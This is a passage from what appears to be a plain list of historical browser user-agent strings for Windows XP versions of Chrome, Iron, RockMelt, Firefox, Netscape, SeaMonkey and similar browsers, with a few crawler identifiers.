like Gecko) Chrome/4.0.223.2 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.3 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Iron/4.0.227.0 Chrome/4.0.227.0 Safari/532.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.288.1 Safari/532.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Iron/4.0.275.2 Chrome/4.0.275.2 Safari/532.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Iron/4.0.280.0 Chrome/4.0.280.0 Safari/532.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.355.0 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.356.0 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.357.0 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 ChromePlus/1.4.1.0alpha1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.8 (KHTML, like Gecko) Chrome/6.0.397.0 Safari/533.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.548.0 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 ChromePlus/1.5.2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) RockMelt/0.8.40.147 Chrome/8.0.552.231 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 ChromePlus/1.5.3.0alpha4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.599.0 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Iron/9.0.600.2 Chrome/9.0.600.2 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.602.0 Safari/534.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.549 Chrome/10.0.648.205 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.53 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Safari/534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16113824.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16219168.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16489152.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16496160.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16502208.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16510528.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16528704.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16547872.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16560576.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/16679360.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/18035008.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/18468032.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/18507104.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/18641408.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/18712000.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/22870432.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/27364800.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/58913952.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/58914944.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/60287520.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/61182528.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/64697792.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/65297152.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/69220032.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/81276896.534 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.724.100 Safari/534.30 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 ChromePlus/1.5.0.0 ChromePlus/1.5.0.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 ChromePlus/1.5.0.0alpha1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Flock/3.5.2.4599 Chrome/7.0.517.442 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.0 Chrome/7.0.520.0 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.1 Chrome/7.0.520.1 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.1 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.116 Chrome/7.0.517.44 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.128 Chrome/7.0.517.44 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.9 (KHTML, like Gecko) Chrome/7.0.531.0 Safari/534.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Gecko/20090305 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Speedy Spider (http://www.entireweb.com/about/search_tech/speedy_spider/) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)AppleWebKit/525.19 (KHTML, like Gecko) Iron/0.2.152.0 Safari/13657880.525 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; BOLT/2.340) AppleWebKit/530+ (KHTML, like Gecko) Version/4.0 Safari/530.17 UNTRUSTED/1.0 3gpp-gba Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; BOLT/2.800) AppleWebKit/534.6 (KHTML, like Gecko) Version/5.0 Safari/534.6.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; MEGAUPLOAD 1.0; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rrv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020509 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020530 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20021216 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0rc2) Gecko/20020512 Netscape/7.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0rc2) Gecko/20020618 Netscape/7.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1) Gecko/20020826 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.2) Gecko/20021126 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.2.1) Gecko/20021130 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.2b) Gecko/20020923 Phoenix/0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.2b) Gecko/20021014 Phoenix/0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.2b) Gecko/20021016 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.2b) Gecko/20021029 Phoenix/0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3) Gecko/20030312 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3.1) Gecko/20030425 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3a) Gecko/20021207 Phoenix/0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3a) Gecko/20021212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.3b) Gecko/20030210 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030529 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4a) Gecko/20030401 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4a) Gecko/20030411 Phoenix/0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030427 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030503 Mozilla Firebird/0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030507 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030615 Mozilla Firebird/0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20030916 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Firebird/0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031016 K-Meleon/0.8.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5a) Gecko/20030630 Mozilla Firebird/0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5a) Gecko/20030702 Mozilla Firebird/0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5a) Gecko/20030718 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030819 Mozilla Firebird/0.6.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030827 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040208 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031002 Firebird/0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031212 Firebird/0.7+ Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040514 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040614 Firefox/0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040616 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040707 Firefox/0.9.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.1) Gecko/20040707 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.11) Gecko/20050728 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050610 K-Meleon/0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Paros/3.2.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050923 Thunderbird/1.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20051002 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060414 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040803 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.3) Gecko/20040910 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041210 Firefox/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041217 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041220 K-Meleon/0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050519 Netscape/8.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050519 Netscape/8.0.1 FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050729 Netscape/8.0.3.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050817 Netscape/8.0.3.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20051012 Netscape/8.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060111 Netscape/8.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.4 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Thunderbird/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050319 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040421 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051025 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051101 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051107 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox 1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5 Mnenhy/0.7.3.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051112 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051114 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051119 Flock/0.4.11 Firefox/1.0+ Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051130 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060102 SeaMonkey/1.0b Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060107 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060125 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060319 Firefox/2.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060114 Firefox/1.5.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070228 Firefox/1.5.0.10 Flock/0.7.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10) Gecko/20070306 SeaMonkey/1.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10pre) Gecko/20070211 Firefox/1.5.0.10pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.11) Gecko/20070502 Firefox/1.5.0.11 Flock/0.7.13.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/2.0 MEGAUPLOAD 2.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 